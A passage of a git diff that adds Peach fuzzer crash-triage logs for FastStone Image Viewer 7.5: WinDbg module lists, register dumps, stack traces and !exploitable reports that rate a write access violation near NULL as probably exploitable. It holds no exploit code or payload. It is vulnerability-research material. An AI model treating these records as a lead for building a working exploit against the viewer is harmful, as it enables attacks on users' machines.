+0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ef8130 07e75930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00381000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00381000 8fc0791e 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c1 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00381000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45316/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45316/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..e145011 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45316/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1C80: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1C80: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1c80.428): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e17b19 edx=00000000 esi=00000000 edi=07c22fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.707270054558844000000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 1.300000000000000000000e+0001 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.11502e-007 -2.51798e+033 3.31953e-038 0.00628942 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ef8130 07e75930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00381000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00381000 8fc0791e 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c1 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00381000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45316/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45316/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4f119f7 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45316/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45348/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45348/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45348/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45348/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45348/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45348/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45348/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45348/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..d8ab56f --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/45348/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x11C4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x11C4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`743e9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743f0000 00000000`749f4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(11c4.11ac): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ee7b19 edx=00000000 esi=00000000 edi=07cf2fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.743861801539748960000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=3.37652e-009 2270.98 -3.79295e-022 1.13502e-007 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fc8130 07f45930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00332000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00332000 03502f7a 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00332000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 